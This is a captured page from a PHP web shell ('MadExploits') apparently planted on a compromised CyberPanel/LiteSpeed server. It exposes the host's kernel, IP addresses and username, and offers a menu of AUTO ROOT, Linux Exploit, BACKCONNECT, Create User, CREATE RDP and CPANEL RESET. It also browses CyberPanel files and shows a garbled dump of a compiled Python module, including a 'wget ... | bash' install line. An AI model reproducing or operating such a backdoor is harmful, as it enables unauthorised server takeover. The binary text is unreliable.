Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
plogical /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
CyberCPLogFileWriter.cpython-3...
3.75
KB
-rw-r--r--
DockerSites.cpython-310.pyc
35.05
KB
-rw-r--r--
__init__.cpython-310.pyc
132
B
-rw-r--r--
acl.cpython-310.pyc
32.58
KB
-rw-r--r--
alias.cpython-310.pyc
1022
B
-rw-r--r--
applicationInstaller.cpython-3...
72.25
KB
-rw-r--r--
backupSchedule.cpython-310.pyc
10.72
KB
-rw-r--r--
backupUtilities.cpython-310.py...
47.59
KB
-rw-r--r--
childDomain.cpython-310.pyc
1.3
KB
-rw-r--r--
cronUtil.cpython-310.pyc
4.01
KB
-rw-r--r--
customACME.cpython-310.pyc
26.61
KB
-rw-r--r--
dnsUtilities.cpython-310.pyc
12.72
KB
-rw-r--r--
getSystemInformation.cpython-3...
4.3
KB
-rw-r--r--
hashPassword.cpython-310.pyc
853
B
-rw-r--r--
httpProc.cpython-310.pyc
3.27
KB
-rw-r--r--
installUtilities.cpython-310.p...
11.58
KB
-rw-r--r--
mailUtilities.cpython-310.pyc
59.57
KB
-rw-r--r--
mysqlUtilities.cpython-310.pyc
24.48
KB
-rw-r--r--
processUtilities.cpython-310.p...
14.36
KB
-rw-r--r--
randomPassword.cpython-310.pyc
565
B
-rw-r--r--
serverLogs.cpython-310.pyc
1.1
KB
-rw-r--r--
sslUtilities.cpython-310.pyc
24.18
KB
-rw-r--r--
sslv2.cpython-310.pyc
12.52
KB
-rw-r--r--
tuning.cpython-310.pyc
8.71
KB
-rw-r--r--
vhost.cpython-310.pyc
22.97
KB
-rw-r--r--
vhostConfs.cpython-310.pyc
14.2
KB
-rw-r--r--
virtualHostUtilities.cpython-3...
42.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : installUtilities.cpython-310.pyc
o ���h'L � @ sZ d dl Z d dlZd dlmZ d dlZd dlZd dlZd dlZd dl m Z G dd� d�ZdS )� N)�CyberCPLogFileWriter)�ProcessUtilitiesc @ s� e Zd ZdZedd� �Zedd� �Zedd� �Zedd � �Zed d� �Z edd � �Z edd� �Zedd� �Zedd� �Z edd� �Zedd� �Zedd� �Zedd� �Zedd� �Zedd� �Zed d!� �Zd"S )#�installUtilitiesz/usr/local/lswsc C s� z=g } | � d� | � d� | � d� | � d� t�| �}|dkr/td� td� td� W dS td� td� td� W dS tyZ } ztj�t|�d � W Y d }~d S d }~w t yv } ztj�t|�d � W Y d }~d S d }~ww )N�yum�-y�installzepel-release� �/###############################################z. Could not add EPEL repo z/ EPEL Repo Added z [enableEPELRepo]r ) �append� subprocess�call�print�OSError�loggingr �writeToFile�str� ValueError��cmd�res�msg� r �//usr/local/CyberCP/plogical/installUtilities.py�enableEPELRepo s2 � ����zinstallUtilities.enableEPELRepoc C s� z+d} t j| dd�}|dkrtd� td� td� W dS td� td� td� W dS tyH } ztj�t|�d � W Y d }~d S d }~w tyd } ztj�t|�d � W Y d }~d S d }~ww ) Nz*wget -O - https://repo.litespeed.sh | bashT)�shellr r z. Could not add Litespeed repo z/ Litespeed Repo Added z [addLiteSpeedRepo]r ) r r r r r r r r r r r r r �addLiteSpeedRepo* s* � ����z!installUtilities.addLiteSpeedRepoc C s� zAg } | � d� | � d� | � d� | � d� t�| �}|dkr3td� td� td� t�� W dS td� td� td� W dS ty^ } ztj� t |�d � W Y d }~d S d }~w tyz } ztj� t |�d � W Y d }~d S d }~ww )Nr r r � openlitespeedr r z. Could not install Litespeed z/ Litespeed Installed z [installLiteSpeed]r �r r r r �sys�exitr r r r r r r r r r �installLiteSpeedE s4 � ����z!installUtilities.installLiteSpeedc C s� z7g } | � d� | � d� t�| �}|dkr)td� td� td� t�� W dS td� td� td� W dS tyT } ztj� t |�d � W Y d }~dS d }~w typ } ztj� t |�d � W Y d }~dS d }~ww ) Nz/usr/local/lsws/bin/lswsctrl�startr r z/ Could not start Litespeed server z/ Litespeed Started z [startLiteSpeed]r r r r r r �startLiteSpeedh s0 � ����zinstallUtilities.startLiteSpeedc C s� zt �� t jkrd} nd} t �| � W dS ty1 } ztj�t|�d � W Y d }~dS d }~w t yM } ztj�t|�d � W Y d }~dS d }~ww )Nzsystemctl restart lswsz$/usr/local/lsws/bin/lswsctrl restart� [reStartLiteSpeed]r r ) r �decideServer�OLS�normalExecutionerr r r r r � BaseException��commandr r r r �reStartLiteSpeed� s ����z!installUtilities.reStartLiteSpeedc C � zt �� t jkrd} nd} t �| �W S ty/ } ztj�t|�d � W Y d }~dS d }~w t yK } ztj�t|�d � W Y d }~dS d }~ww )N�sudo systemctl restart lsws�)sudo /usr/local/lsws/bin/lswsctrl restartr# r � r r$ r% �executionerr r r r r r r( r r r �reStartLiteSpeedSocket� � ���z'installUtilities.reStartLiteSpeedSocketc C r+ )Nzsudo systemctl stop lswsz&sudo /usr/local/lsws/bin/lswsctrl stopr# r r. r( r r r �stopLiteSpeedSocket� r1 z$installUtilities.stopLiteSpeedSocketc C s� z<t �� t jkrd}nd}t�|�}t�|�}|dkr.td� td� td� t� � W dS td� td� td� W dS t yY } ztj� t|�d � W Y d }~dS d }~w tyu } ztj� t|�d � W Y d }~dS d }~ww ) Nr, r- r r z/ Could not restart Litespeed serve z/ Litespeed Re-Started z [reStartOpenLiteSpeed]r )r r$ r% �shlex�splitr r r r r r r r r r r )�restart�orestartr) r r r r r r �reStartOpenLiteSpeed� s2 � ����z%installUtilities.reStartOpenLiteSpeedc C s� z/t d��� } t dd�}| D ]}|�d�dkr!|�|�dd�� q|�|� q|�� W t�� S tyL } ztj� t |�d � W Y d }~dS d }~ww )Nz&/usr/local/lsws/conf/httpd_config.conf�wz*:8088���z*:80z [changePortTo80]r ) �open� readlines�find� writelines�replace�close�IOErrorr r r r r r* )�data�writeDataToFile�itemsr r r r �changePortTo80� s ���zinstallUtilities.changePortTo80c C s� zDg } | � d� | � d� | � d� t�| �}|dkr.td� td� td� t�� W dS td� td� td� ttjd d �}W dS t ya } zt j�t |�d � W Y d }~dS d }~w ty} } zt j�t |�d � W Y d }~dS d }~ww )Nr �groupinstallz lsphp-allr r z/ Could not install PHP Binaries z/ PHP Binaries installed z/conf/httpd_config.conf�az [installAllPHPVersion]r )r r r r r r r: r �Server_root_pathr r r r r r )r r rB r r r r �installAllPHPVersion� s4 �����z%installUtilities.installAllPHPVersionc C s� zDt jd } tj�| �st�d| d � d}d}d}d}d}t| d d �}|�|� |�|� |�|� |�|� |�|� |� � W dS t ya } ztj� t|�d � W Y d }~dS d }~ww ) Nz/conf/� phpconfigszinclude phpconfigs/php53.conf zinclude phpconfigs/php54.conf zinclude phpconfigs/php55.conf zinclude phpconfigs/php56.conf zinclude phpconfigs/php70.conf zhttpd_config.confrF z [installAllPHPToLitespeed]r r )r rG �os�path�exists�shutil�copytreer: r= r? r@ r r r r )rK �php53�php54�php55�php56�php70rB r r r r �installAllPHPToLitespeed s, ���z)installUtilities.installAllPHPToLitespeedc C s\ t �� dkr,t �� dkr*t �� dkr(t �� dkr&t �� r$t �� r"dS dS dS dS dS dS dS )Nr r )r r r r r"